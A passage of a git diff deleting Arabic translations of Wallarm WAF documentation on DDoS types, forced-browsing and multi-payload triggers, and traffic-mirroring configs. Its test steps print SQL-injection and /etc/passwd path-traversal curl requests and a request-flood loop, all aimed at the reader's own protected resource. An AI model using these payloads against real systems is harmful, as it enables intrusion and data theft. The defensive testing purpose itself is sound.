      • هجوم الفيضان HTTP: تستخدم هذه الهجمات عددًا كبيرًا من طلبات GET أو POST التي تبدو مشروعة إلى خادم أو تطبيق ويب في محاولة لإغراق الهدف. غالبًا ما يتم تنفيذ هذا النوع من الهجمات باستخدام botnets، وهي شبكات من أنظمة الحاسوب المخترقة المصابة ببرامج ضارة والخاضعة لسيطرة المهاجم.
      • هجمات التضخيم: تستفيد هذه الهجمات من استخدام تقنيات التضخيم لتضخيم حجم المرور المرسل إلى الهدف. على سبيل المثال، قد يرسل المهاجم طلبًا صغيرًا إلى خادم يستجيب برد أكبر بكثير، مما يعمل على تضخيم حجم المرور المرسل إلى الهدف بشكل فعال. هناك عدة تقنيات مختلفة يمكن للمهاجمين استخدامها لشن هجوم تضخيم، بما في ذلك: تضخيم NTP، تضخيم DNS، إلخ.
      |
      • Slowloris: هجمات Slowloris فريدة من نوعها لأنها تتطلب عرض نطاق ترددي ضئيل ويمكن تنفيذها باستخدام جهاز كمبيوتر واحد فقط. يعمل الهجوم عن طريق بدء عدة اتصالات متزامنة بخادم ويب والحفاظ عليها لفترة طويلة من الزمن. يرسل المهاجم طلبات جزئية ويكملها أحيانًا برؤوس HTTP لمنعها من الوصول إلى مرحلة الاكتمال.
      -| محددة للتطبيق/API (L7+) |
      • طلب ثقيل: تستخدم هذه الهجمات طلبات مصممة خصيصًا تؤدي إلى إرسال الخادم كمية كبيرة من البيانات ردًا. يُستخدم هذا النوع من الهجمات عادة في الهجمات المستهدفة لأنه يتطلب دراسة أولية لتطبيق الويب الخاص بك ويعتمد على استغلال نقاط الضعف فيه.
      |
      • قنبلة منطقية: تستخدم هذه الهجمات طلبات مصممة تحتوي على كمية كبيرة من البيانات ومصممة خصيصًا لاستغلال الثغرات أثناء معالجة الطلب التي تؤدي إلى استهلاك كبير للموارد على أنظمة الهدف. هناك أنواع مختلفة من القنابل المنطقية: قنبلة XML، قنبلة JSON، إلخ.
      | - -**هجمات التحويل والتضخيم** تهدف إلى إغراق الهدف بحجم كبير من المرور. الهدف هو تشبع النطاق الترددي أو موارد الحوسبة للخادم أو الشبكة المستهدفة، مما يجعلها غير قادرة على الاستجابة للطلبات المشروعة. - -**الاستغلالات البروتوكول والقنابل المنطقية** هي هجمات DDoS تهدف إلى استغلال الثغرات في الطريقة التي يتواصل بها الخدمة أو الشبكة. يمكن لهذه الهجمات تعطيل التدفق الطبيعي للمرور عن طريق استغلال بروتوكولات معينة أو عن طريق إرسال حزم مشكلة بطريقة صعبة للهدف لمعالجتها. - -## تخفيف هجمات DDoS - -بما أن هجمات DDoS يمكن أن تأخذ أشكالًا متعددة وتستهدف طبقات OSI مختلفة، فإن التدابير المفردة غير فعالة، من المهم استخدام مجموعة من التدابير لتوفير حماية شاملة ضد هجمات DDoS. - -* عادةً ما يوفر مزودو خدمات الإنترنت ومزودو الخدمات السحابية خط الدفاع الأول ضد هجمات DDoS من المستوى L3-L4. بالنسبة لهجمات DDoS من المستوى L3-L4 ذات الخطورة العالية، تُطلب أدوات تخفيف إضافية، على سبيل المثال: - - قد يتطلب هجوم DDoS الذي يولد المرور بمعدل 1 جيجابت في الثانية أو أكثر خدمات حماية DDoS متخصصة لتنظيف المرور. تنظيف المرور هي تقنية لتوجيه المرور من خلال خدمة طرف ثالث تقوم بتصفية كل المرور الضار ونقل الطلبات المشروعة فقط إلى خدمتك. كتدبير حماية إضافي ضد هجمات DDoS من المستوى L3-L4، يمكنك أيضًا استخدام الحلول مثل NGFW. -* هجمات DDoS من المستوى L7، المعروفة أيضًا باسم "هجمات طبقة التطبيق"، أكثر استهدافًا وتعقيدًا من هجمات L3-L4. عادةً ما تستهدف هجمات DDoS من المستوى L7 خصائص التطبيقات المهاجمة ويمكن أن تكون صعبة التمييز عن المرور المشروع. للحماية من هجمات DDoS من المستوى L7، استخدم WAF/WAAP أو حلول Anti-DDoS متخصصة تحلل المرور على طبقة التطبيق. يُوصى أيضًا بتكوين بوابة API أو خادم WEB ليتمكن من التعامل مع الأحمال الذروة. - -عند اختيار تدابير الحماية، قيم بعناية احتياجات وموارد المنظمة استنادًا إلى العوامل التالية: - -* نوع الهجمات -* حجم الهجمات -* تعقيد تطبيق ويب أو API، والتكاليف - -من الضروري أيضًا إعداد خطة استجابة لتحديد هجوم DDoS في أقرب وقت ممكن واتخاذ تدابير مضادة في الوقت المناسب لتخفيفها. - -## حماية DDoS من المستوى L7 مع Wallarm - -توفر Wallarm مجموعة واسعة من تدابير الحماية ضد تهديدات DDoS من المستوى L7: - -* [الوقاية من إساءة استخدام API](../../api-abuse-prevention/overview.md). تمكين وظيفة الوقاية من إساءة استخدام API لتحديد ووقف أنواع مختلفة من البوتات الضارة. -* [مشغل القوة الغاشمة](protecting-against-bruteforce.md) لمنع عدد كبير من الطلبات التي تقوم بالقوة الغاشمة لبعض قيم المعلمات، على سبيل المثال، كلمات المرور. -* [مشغل التصفح القسري](protecting-against-bruteforce.md) لمنع المحاولات الضارة لاكتشاف الموارد المخفية لتطبيق ويب، وهي الدلائل والملفات. -* تصفية الجغرافيا باستخدام [قوائم الحظر والقوائم الرمادية](../../user-guides/ip-lists/overview.md). منع الوصول إلى التطبيقات وAPIs لبعض المناط \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/protecting-against-forcedbrowsing.md b/docs/latest-ar/admin-en/configuration-guides/protecting-against-forcedbrowsing.md deleted file mode 100644 index 4ce5d7a49b..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/protecting-against-forcedbrowsing.md +++ /dev/null @@ -1,73 +0,0 @@ -# الحماية ضد هجمات التصفح القسري - -هجمة التصفح القسري هي واحدة من أنواع الهجمات التي لا تكتشفها Wallarm بشكل افتراضي، يجب أن يتم تكوين اكتشافها كما يصف هذا الدليل. - -[التصفح القسري](../../attacks-vulns-list.md#forced-browsing) تتميز بعدد كبير من أكواد الاستجابة 404 التي تُرجع لطلبات إلى URIs مختلفة خلال إطار زمني محدود. - -الهدف من هذه الهجوم هو تعداد والوصول إلى المصادر المخفية (مثل الأدلة والملفات التي تحتوي على معلومات حول مكونات التطبيق). عادة ما تسمح هجمات التصفح القسري للمهاجمين بجمع معلومات حول التطبيق ثم تنفيذ أنواع أخرى من الهجمات باستغلال هذه المعلومات. - -لاحظ أنه بجانب الحماية ضد التصفح القسري، بطريقة مماثلة، يمكنك تكوين الحماية ضد [هجمات القوة العمياء](protecting-against-bruteforce.md). - -## التكوين - -لتكوين الحماية ضد التصفح القسري: - -1. افتح واجهة Wallarm → **المحفزات** وافتح نافذة إنشاء محفز. -1. اختر شرط **التصفح القسري**. -1. حدد الحد الأقصى لعدد أكواد الاستجابة 404 التي تُرجع إلى الطلبات التي لها نفس عنوان IP الأصلي للطلبات. -1. إذا لزم الأمر، حدد **URI** لتنشيط المحفز فقط للطلبات المرسلة إلى نقاط نهاية محددة، على سبيل المثال: - - * حدد URI لدليل ملف المصدر. - * إذا كنت تستخدم URIs متداخلة، فكر في [أولويات معالجة المحفز](#trigger-processing-priorities). - * إذا لم يتم تحديد URI، سيتم تنشيط المحفز في أي نقطة نهاية مع تجاوز عدد الطلبات للحد. - - يمكن تكوين URI من خلال [مُنشئ URI](../../user-guides/rules/rules.md#uri-constructor) أو [نموذج التحرير المتقدم](../../user-guides/rules/rules.md#advanced-edit-form) في نافذة إنشاء المحفز. - -1. إذا لزم الأمر، قم بتعيين فلاتر المحفز الأخرى: - - * **التطبيق** الذي يُوجه إليه الطلبات. - * عنوان واحد أو أكثر **IP** تُرسل منه الطلبات. - -1. اختر ردود فعل المحفز: - - * **وسم كتصفح قسري**. ستُوسم الطلبات التي تم استلامها بعد تجاوز الحد كهجمة تصفح قسري ويتم عرضها في قسم **الهجمات** في واجهة Wallarm. - * **قائمة الرفض لعنوان IP** والفترة لحظر عنوان IP لإضافة عناوين IP لمصادر الطلبات الضارة إلى [قائمة الرفض](../../user-guides/ip-lists/overview.md). سيحظر العقدة Wallarm جميع الطلبات الصادرة من عناوين IP المدرجة بعد تجاوز الحد. - * **قائمة التحقق لعنوان IP** والفترة لإضافة عناوين IP لمصادر الطلبات الضارة إلى [قائمة التحقق](../../user-guides/ip-lists/overview.md). ستحظر العقدة Wallarm الطلبات الصادرة من عناوين IPs في قائمة التحقق فقط إذا احتوت الطلبات على علامات [التحقق من الصحة](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، [`vpatch`](../../user-guides/rules/vpatch-rule.md) أو هجمات [مخصصة](../../user-guides/rules/regex-rule.md). لا يتم حظر هجمات القوة العمياء الصادرة من عناوين IPs في قائمة التحقق. - - ![مثال على محفز التصفح القسري](../../images/user-guides/triggers/trigger-example5.png) - -1. احفظ المحفز وانتظر [اكتمال تزامن السحابة والعقدة](../configure-cloud-node-synchronization-en.md) (عادة ما يستغرق الأمر من 2-4 دقائق). - -يمكنك تكوين عدة محفزات لحماية القوة العمياء. - -## الاختبار - -1. أرسل عددًا من الطلبات يتجاوز الحد المكون إلى URI المحمية. على سبيل المثال، 31 طلبات إلى `https://example.com/config.json` (يطابق `https://example.com/**.**`): - - ```bash - for (( i=0 ; $i<32 ; i++ )) ; do curl https://example.com/config.json ; done - ``` -2. إذا كانت رد فعل المحفز **قائمة الرفض لعنوان IP**، افتح واجهة Wallarm → **قوائم IP** → **قائمة الرفض** وتحقق من أن عنوان IP المصدر محظور. - - إذا كانت رد فعل المحفز **قائمة التحقق لعنوان IP**، تحقق من قسم **قوائم IP** → **قائمة التحقق** في واجهة Wallarm. -3. افتح قسم **الهجمات** وتحقق من أن الطلبات معروضة في القائمة كهجمة تصفح قسري. - - ![هجمة التصفح القسري في الواجهة](../../images/user-guides/events/forced-browsing-attack.png) - - عدد الطلبات المعروضة يتوافق مع عدد الطلبات المرسلة بعد تجاوز عتبة المحفز ([المزيد من التفاصيل حول اكتشاف الهجمات السلوكية](../../attacks-vulns-list.md#behavioral-attacks)). إذا كان هذا العدد أكبر من 5، يتم تطبيق عينة الطلب ويتم عرض تفاصيل الطلب فقط لأول 5 ضربات ([المزيد من التفاصيل حول عينات الطلبات](../../user-guides/events/analyze-attack.md#sampling-of-hits)). - - للبحث عن هجمات التصفح القسري، يمكنك استخدام الفلتر `dirbust`. جميع الفلاتر موضحة في [التعليمات حول استخدام البحث](../../user-guides/search-and-filters/use-search.md). - -## أولويات معالجة المحفز - ---8<-- "../include/trigger-processing-priorities.md" - -## المتطلبات والقيود - -**المتطلبات** - -لحماية الموارد من هجمات التصفح القسري، تتطلب عناوين IP الحقيقية للعملاء. إذا تم نشر العقدة الفلترة خلف خادم وكيل أو موازن الحمل، [قم بتكوين](../using-proxy-or-balancer-en.md) عرض عناوين IP الحقيقية للعملاء. - -**القيود** - -عند البحث عن علامات هجمة التصفح القسري، تقوم عقد Wallarm بتحليل طلبات HTTP التي لا تحتوي على علامات أنواع هجمات أخرى فقط. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/protecting-with-thresholds.md b/docs/latest-ar/admin-en/configuration-guides/protecting-with-thresholds.md deleted file mode 100644 index 3bb87d2a49..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/protecting-with-thresholds.md +++ /dev/null @@ -1,76 +0,0 @@ -# الحماية من مرتكبي الهجمات المتعددة - -عندما يكون Wallarm في [وضع الحجب](../../admin-en/configure-wallarm-mode.md)، فإنه يحجب تلقائياً كافة الطلبات التي تحتوي على حمولات ضارة، مسمحاً بمرور الطلبات المشروعة فقط. يمكنك تكوين حماية إضافية لتطبيقاتك وواجهة برمجة التطبيقات من خلال ضبط استجابة Wallarm في حال تجاوزت الحمولات الضارة المختلفة الصادرة من نفس عنوان بروتوكول الإنترنت (والذي يُشار إليه غالبًا ب**مرتكب الهجمات المتعددة**) العتبة المحددة. - -يمكن وضع هؤلاء المرتكبين تلقائياً في القائمة السوداء، والتي تبدأ بحجب **جميع الطلبات الصادرة منهم**، دون إضاعة الوقت في تحليل ما إذا كانت ضارة أم لا، استناداً فقط إلى حقيقة أن هذا المصدر أنتج الكثير من الطلبات الضارة في الماضي. - -## التكوين - -لتكوين الحماية من مصادر طلبات الضارة: - -1. افتح وحدة تحكم Wallarm → **المُشغلات** وافتح نافذة إنشاء المُشغل. -1. حدد شرط **عدد الحمولات الضارة**. -1. حدد عدد الحمولات الضارة المختلفة من عنوان IP واحد لكل فترة زمنية. عند تجاوز هذا العدد خلال الفترة الزمنية المحددة، سيتم تفعيل المُشغل. - - !!! info "ما لا يتم احتسابه" - الحمولات التجريبية المستندة إلى [التعبيرات العادية المخصصة](../../user-guides/rules/regex-rule.md). - -1. إذا لزم الأمر، حدد واحداً أو عدة مرشحات: - - * **النوع** هو [نوع](../../attacks-vulns-list.md) الهجوم المُكتشف في الطلب أو نوع الثغرة الأمنية التي يستهدفها الطلب. - * **التطبيق** هو [التطبيق](../../user-guides/settings/applications.md) الذي يتلقى الطلب. - * **IP** هو عنوان IP والذي يُرسل منه الطلب. - - المرشح يتوقع عناوين IP فردية فقط، لا يسمح بالشبكات الفرعية والمواقع وأنواع المصادر. - - * **المجال** هو المجال الذي يتلقى الطلب. - * **حالة الاستجابة** هي رمز الاستجابة الذي يُرجع للطلب. - * **الهدف** هو جزء من هيكلية التطبيق الذي يستهدفه الهجوم أو التي يتم اكتشاف الحادث فيها. يمكن أن تأخذ القيم التالية: `Server`, `Client`, `Database`. - -1. حدد استجابات المُشغل: - - * [**أدرج IP في القائمة السوداء**](../../user-guides/ip-lists/overview.md) الصادرة عن طلبات ضارة وفترة الحجب. - - سيقوم عقدة Wallarm بحجب كل من الطلبات المشروعة والضارة الصادرة من IP المُدرج في القائمة السوداء. - - * [**أدرج IP في القائمة الرمادية**](../../user-guides/ip-lists/overview.md) الصادرة عن طلبات ضارة وفترة الحجب. - - ستقوم عقدة Wallarm بحجب الطلبات الصادرة من IPs المدرجة في القائمة الرمادية فقط إذا كانت الطلبات تحتوي على علامات الهجوم [التحقق من صحة الإدخال](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، [ال `vpatch`](../../user-guides/rules/vpatch-rule.md) أو [المخصصة](../../user-guides/rules/regex-rule.md). - - ![المشغل الافتراضي](../../images/user-guides/triggers/trigger-example-default.png) - -1. احفظ المشغل وانتظر [اكتمال مزامنة السحابة والعقدة](../configure-cloud-node-synchronization-en.md) (عادةً ما يستغرق الأمر 2-4 دقائق). - -## المُشغل المُعد مسبقًا - -تتميز الحسابات الشركة الجديدة بمُشغل **عدد الحمولات الضارة** المعد مسبقًا (الافتراضي) الذي يدخل IP في القائمة الرمادية لمدة ساعة واحدة عندما ينشئ أكثر من 3 حمولات ضارة مختلفة خلال ساعة واحدة. - -[القائمة الرمادية](../../user-guides/ip-lists/overview.md) هي قائمة بعناوين IP المشبوهة التي تعالجها العقدة على النحو التالي: إذا كانت IP المدرجة في القائمة الرمادية تنشئ طلبات ضارة، تحجب العقدة هذه الطلبات بينما تسمح بمرور الطلبات المشروعة. على عكس القائمة الرمادية، تشير [القائمة السوداء](../../user-guides/ip-lists/overview.md) إلى عناوين IP التي لا يُسمح لها بالوصول إلى التطبيقات الخاصة بك على الإطلاق - العقدة تحجب حتى الطلبات المشروعة التي تنتجها المصادر المدرجة في القائمة السوداء. إدراج IP في القائمة الرمادية هو أحد الخيارات الهادفة إلى تقليل [الإيجابيات الكاذبة](../../about-wallarm/protecting-against-attacks.md#false-positives). - -يتم إطلاق المشغل في أي وضع ترشيح للعقدة، بحيث سيدخل IPs في القائمة الرمادية بغض النظر عن وضع العقدة. - -مع ذلك، تحلل العقدة القائمة الرمادية في وضع **الحجب الآمن** فقط. لحجب الطلبات الضارة الصادرة عن IPs المدرجة في القائمة الرمادية، حول وضع [العقدة](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) إلى وضع الحجب الآمن مع معرفة ميزاته أولاً. - -الضربات مع أنواع هجوم القوة الغاشمة والتصفح القسري وتجاوز حدود الموارد وقنبلة البيانات أو هجوم التصحيح الافتراضي لا تُعتبر في هذا المشغل. - -يمكنك تعطيل المُشغل الافتراضي مؤقتًا أو تعديله أو حذفه. - -## الاختبار - -فيما يلي مثال على اختبار [المشغل المُعد مسبقًا](#pre-configured-trigger). يمكنك تعديله لمطابقة عرض المشغل الخاص بك. - -1. أرسل الطلبات التالية إلى المورد المحمي: - - ```bash - curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' - curl 'http://localhost/?id=1%27%20select%20version();' - curl http://localhost/instructions.php/etc/passwd - ``` - - هناك 4 حمولات ضارة من أنواع [SQLi](../../attacks-vulns-list.md#sql-injection)، [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss)، و[Path Traversal](../../attacks-vulns-list.md#path-traversal). -1. افتح وحدة تحكم Wallarm → **قوائم IP** → **القائمة الرمادية** وتحقق من أن عنوان IP الذي تم إرسال الطلبات منه مدرج في القائمة الرمادية لمدة ساعة واحدة. -1. افتح قسم **الهجمات** وتحقق من عرض الهجمات في القائمة: - - ![ثلاث حمولات ضارة في واجهة المستخدم](../../images/user-guides/triggers/test-3-attack-vectors-events.png) - - للبحث عن الهجمات، يمكنك استخدام العلامة `multiple_payloads` [بحث](../../user-guides/search-and-filters/use-search.md#search-by-attack-type). \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/sso/intro.md b/docs/latest-ar/admin-en/configuration-guides/sso/intro.md deleted file mode 100644 index 26027b16c0..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/sso/intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/intro.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/sso/setup.md b/docs/latest-ar/admin-en/configuration-guides/sso/setup.md deleted file mode 100644 index c7312fc0ef..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/sso/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/setup.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/sso/sso-gsuite.md b/docs/latest-ar/admin-en/configuration-guides/sso/sso-gsuite.md deleted file mode 100644 index 498ac5ac64..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/sso/sso-gsuite.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/sso-gsuite.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/sso/sso-okta.md b/docs/latest-ar/admin-en/configuration-guides/sso/sso-okta.md deleted file mode 100644 index 7644c99038..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/sso/sso-okta.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/sso-okta.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/sso/troubleshooting.md b/docs/latest-ar/admin-en/configuration-guides/sso/troubleshooting.md deleted file mode 100644 index 73abb9893d..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/sso/troubleshooting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/troubleshooting.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/envoy-example.md b/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/envoy-example.md deleted file mode 100644 index 0215b11c90..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/envoy-example.md +++ /dev/null @@ -1,88 +0,0 @@ -# مثال على تكوين Envoy لعكس الحركة - -توفر هذه المقالة التكوين المطلوب لـEnvoy ل[عكس الحركة وتوجيهها إلى عقدة Wallarm](overview.md). - -## الخطوة 1: تكوين Envoy لعكس الحركة - -هذا المثال يُكوّن عكس الحركة باستخدام Envoy من خلال `المستمع` الوحيد الذي يستمع إلى المنفذ 80 (دون TLS) ويحتوي على `مرشح` واحد. تُحدد عناوين الخلفية الأصلية والخلفية الإضافية التي تتلقى حركة المرور المعكوسة في كتلة `المجموعات`. - -```yaml -static_resources: - listeners: - - address: - socket_address: - address: 0.0.0.0 - port_value: 80 - filter_chains: - - filters: - - name: envoy.filters.network.http_connection_manager - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager - stat_prefix: ingress_http - codec_type: AUTO - route_config: - name: local_route - virtual_hosts: - - name: backend - domains: - - "*" - routes: - - match: - prefix: "/" - route: - cluster: httpbin # <-- رابط إلى المجموعة الأصلية - request_mirror_policies: - - cluster: wallarm # <-- رابط إلى المجموعة التي تتلقى الطلبات المعكوسة - runtime_fraction: - default_value: - numerator: 100 - http_filters: - - name: envoy.filters.http.router - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router - - clusters: - ### تعريف المجموعة الأصلية - ### - - name: httpbin - type: STRICT_DNS - lb_policy: ROUND_ROBIN - load_assignment: - cluster_name: httpbin - endpoints: - - lb_endpoints: - - endpoint: - address: - ### عنوان النقطة النهائية الأصلية. العنوان هو اسم DNS - ### أو عنوان IP، port_value هو رقم المنفذ TCP - ### - socket_address: - address: httpbin # <-- تعريف المجموعة الأصلية - port_value: 80 - - ### تعريف المجموعة التي تتلقى الطلبات المعكوسة - ### - - name: wallarm - type: STRICT_DNS - lb_policy: ROUND_ROBIN - load_assignment: - cluster_name: wallarm - endpoints: - - lb_endpoints: - - endpoint: - address: - ### عنوان النقطة النهائية الأصلية. العنوان هو اسم DNS - ### أو عنوان IP، port_value هو رقم المنفذ TCP. يمكن - ### نشر مخطط مرآة Wallarm مع أي منفذ ولكن - ### القيمة الافتراضية هي TCP/8445. - ### - socket_address: - address: wallarm - port_value: 8445 -``` - -[راجع وثائق Envoy](https://www.envoyproxy.io/docs/envoy/latest/api-v3/config/route/v3/route_components.proto) - -## الخطوة 2: تكوين عقدة Wallarm لتصفية حركة المرور المعكوسة - ---8<-- "../include/wallarm-node-configuration-for-mirrored-traffic.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/istio-example.md b/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/istio-example.md deleted file mode 100644 index c628ac1df9..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/istio-example.md +++ /dev/null @@ -1,81 +0,0 @@ -# مثال على تكوين Istio لتقليد حركة المرور - -تقدم هذه المقالة المثال المطلوب لتكوين Istio لـ[تقليد حركة المرور وتوجيهها إلى عقدة Wallarm](overview.md). - -## الخطوة 1: تكوين Istio لتقليد حركة المرور - -لتمكين Istio من تقليد حركة المرور، يمكنك تكوين `VirtualService` لتقليد مسارات إما إلى النقطة النهائية الداخلية (داخلية بالنسبة لـIstio، مثل المستضافة في Kubernetes) أو إلى النقطة النهائية الخارجية بواسطة `ServiceEntry`: - -* لتمكين تقليد طلبات داخل العنقود (مثلاً بين البودات)، أضف `mesh` إلى `.spec.gateways`. -* لتمكين تقليد طلبات خارجية (مثلاً عبر خدمة LoadBalancer أو NodePort)، قم بتكوين مكون `Gateway` الخاص بـIstio وأضف اسم المكون إلى `.spec.gateways` لـ`VirtualService`. يتم عرض هذا الخيار في المثال أدناه. - -```yaml ---- -### تكوين وجهة حركة المرور المتقلدة -### -apiVersion: networking.istio.io/v1beta1 -kind: ServiceEntry -metadata: - name: wallarm-external-svc -spec: - hosts: - - some.external.service.tld # عنوان وجهة التقليد - location: MESH_EXTERNAL - ports: - - number: 8445 # منفذ وجهة التقليد - name: http - protocol: HTTP - resolution: DNS ---- -apiVersion: networking.istio.io/v1alpha3 -kind: VirtualService -metadata: - name: httpbin -spec: - hosts: - - ... - gateways: - ### اسم مكون `Gateway` Istio. مطلوب للتعامل مع حركة المرور من - ### مصادر خارجية - ### - - httpbin-gateway - ### تسمية خاصة، تمكن مسارات هذه الخدمة الافتراضية من العمل مع الطلبات - ### من بودات Kubernetes (التواصل داخل العنقود بدون بوابات) - ### - - mesh - http: - - route: - - destination: - host: httpbin - port: - number: 80 - weight: 100 - mirror: - host: some.external.service.tld # عنوان وجهة التقليد - port: - number: 8445 # منفذ وجهة التقليد ---- -### للتعامل مع الطلبات الخارجية -### -apiVersion: networking.istio.io/v1alpha3 -kind: Gateway -metadata: - name: httpbin-gateway -spec: - selector: - istio: ingress - app: istio-ingress - servers: - - port: - number: 80 - name: http - protocol: HTTP - hosts: - - "httpbin.local" -``` - -[راجع توثيق Istio](https://istio.io/latest/docs/tasks/traffic-management/mirroring/) - -## الخطوة 2: تكوين عقدة Wallarm لتصفية حركة المرور المتقلدة - ---8<-- "../include/wallarm-node-configuration-for-mirrored-traffic.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/nginx-example.md b/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/nginx-example.md deleted file mode 100644 index 3870a15c09..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/nginx-example.md +++ /dev/null @@ -1,39 +0,0 @@ -# مثال على تهيئة NGINX لعكس حركة البيانات - -ابتداءً من NGINX 1.13، يمكنك عكس حركة البيانات إلى خادم إضافي. تقدم لك هذه المقالة التهيئة اللازمة لـ NGINX ل[عكس حركة البيانات](overview.md)وللعقدة لمعالجة حركة البيانات المعكوسة. - -## الخطوة 1: تهيئة NGINX لعكس حركة البيانات - -لتهيئة NGINX لعكس حركة البيانات: - -1. قم بتهيئة وحدة [`ngx_http_mirror_module`](http://nginx.org/en/docs/http/ngx_http_mirror_module.html) عبر تعيين توجيه `mirror` في كتلة `location` أو `server`. - - سيعكس المثال أدناه الطلبات المستقبلة عند `location /` إلى `location /mirror-test`. -1. لإرسال حركة البيانات المعكوسة إلى عقدة Wallarm، قم بإدراج الرؤوس لتكون معكوسة وحدد عنوان IP للآلة التي تحتوي على العقدة في `location` الذي يشير إليه توجيه `mirror`. - -``` -location / { - mirror /mirror-test; - mirror_request_body on; - root /usr/share/nginx/html; - index index.html index.htm; - } - -location /mirror-test { - internal; - #proxy_pass http://111.11.111.1$request_uri; - proxy_pass http://222.222.222.222$request_uri; - proxy_set_header X-SERVER-PORT $server_port; - proxy_set_header X-SERVER-ADDR $server_addr; - proxy_set_header HOST $http_host; - proxy_set_header X-Forwarded-For $realip_remote_addr; - proxy_set_header X-Forwarded-Port $realip_remote_port; - proxy_set_header X-Forwarded-Proto $http_x_forwarded_proto; - proxy_set_header X-Scheme $scheme; - proxy_set_header X-Request-ID $request_id; - } -``` - -## الخطوة 2: تهيئة عقدة Wallarm لتصفية حركة البيانات المعكوسة - ---8<-- "../include/wallarm-node-configuration-for-mirrored-traffic.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/overview.md b/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/overview.md deleted file mode 100644 index 6e4e093bb0..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/overview.md +++ /dev/null @@ -1,39 +0,0 @@ -# تصفية حركة المرور المعكوسة - -أحد نُهج نشر عقدة Wallarm هو النشر المبني على الزمن الغير متزامن لتصفية حركة HTTP المعكوسة. تعلمك هذه المقالة التكوين المطلوب لتطبيق هذا النهج وتقدم بعض الأمثلة. - -تمكن تقنية عكس حركة المرور من إرسال حركة المرور الواردة الأصلية إلى عدة خلفيات بشكل متواز. يسمح تنصيب عقدة Wallarm كخلفية إضافية بتشغيل تصفية نسخة مرآة حركة المرور دون التأثير على العملاء - ستصل أي طلبات واردة إلى الخوادم الموجهة إليها. - -إليك مثال على مخطط تدفق حركة المرور مع تمكين خيار المرآة: - -![مخطط المرآة](../../../images/waf-installation/aws/terraform/wallarm-for-mirrored-traffic.png) - -## حالات استخدام النهج - -يفيد تنصيب عقدة Wallarm لتصفية حركة المرور المعكوسة في: - -* التأكد من أن الحل الأمني لن يؤثر على أداء التطبيق. -* تدريب حل Wallarm على نسخة حركة المرور قبل تشغيل الوحدة على النظام الإنتاجي. - -## قيود تصفية حركة المرور المعكوسة - -على الرغم من أمان نهج النشر، إلا أنه يتضمن بعض القيود: - -* فقط عقد Wallarm المبنية على NGINX تدعم تصفية حركة المرور المعكوسة. -* لا تقوم عقدة Wallarm بحظر الطلبات الخبيثة على الفور لأن تحليل حركة المرور يتم بغض النظر عن تدفق حركة المرور الفعلي. -* Wallarm لا يكتشف [الثغرات الأمنية](../../../about-wallarm/detecting-vulnerabilities.md) في التطبيقات وواجهات البرمجة التطبيقية حيث أن العقدة لديها فقط نسخ من الطلبات الواردة,ولا يمكن عكس استجابات الخادم. -* الحل يتطلب مكون إضافي - خادم الويب الذي يوفر عكس حركة المرور أو أداة مماثلة (مثل NGINX، Envoy، Istio، Traefik، وحدة Kong المخصصة، إلخ). - -## التكوين - -لتطبيق Wallarm لتصفية حركة المرور المعكوسة: - -1. قم بتكوين خادم الويب الخاص بك لعكس حركة المرور الواردة إلى خلفية إضافية. -1. [قم بتثبيت](../../../installation/supported-deployment-options.md) عقدة Wallarm كخلفية إضافية وقم بتكوينها لتصفية حركة المرور المعكوسة. - -يدعم العديد من خوادم الويب عكس حركة المرور. داخل الروابط التالية، ستجد **مثال التكوين** لأكثرها شعبية: - -* [NGINX](nginx-example.md) -* [Traefik](traefik-example.md) -* [Envoy](envoy-example.md) -* [Istio](istio-example.md) \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/traefik-example.md b/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/traefik-example.md deleted file mode 100644 index 084eab3e69..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/traffic-mirroring/traefik-example.md +++ /dev/null @@ -1,65 +0,0 @@ -# مثال على تكوين Traefik لعكس حركة المرور - -توفر هذه المقالة مثالاً على التكوين المطلوب لـ Traefik لـ[عكس حركة المرور 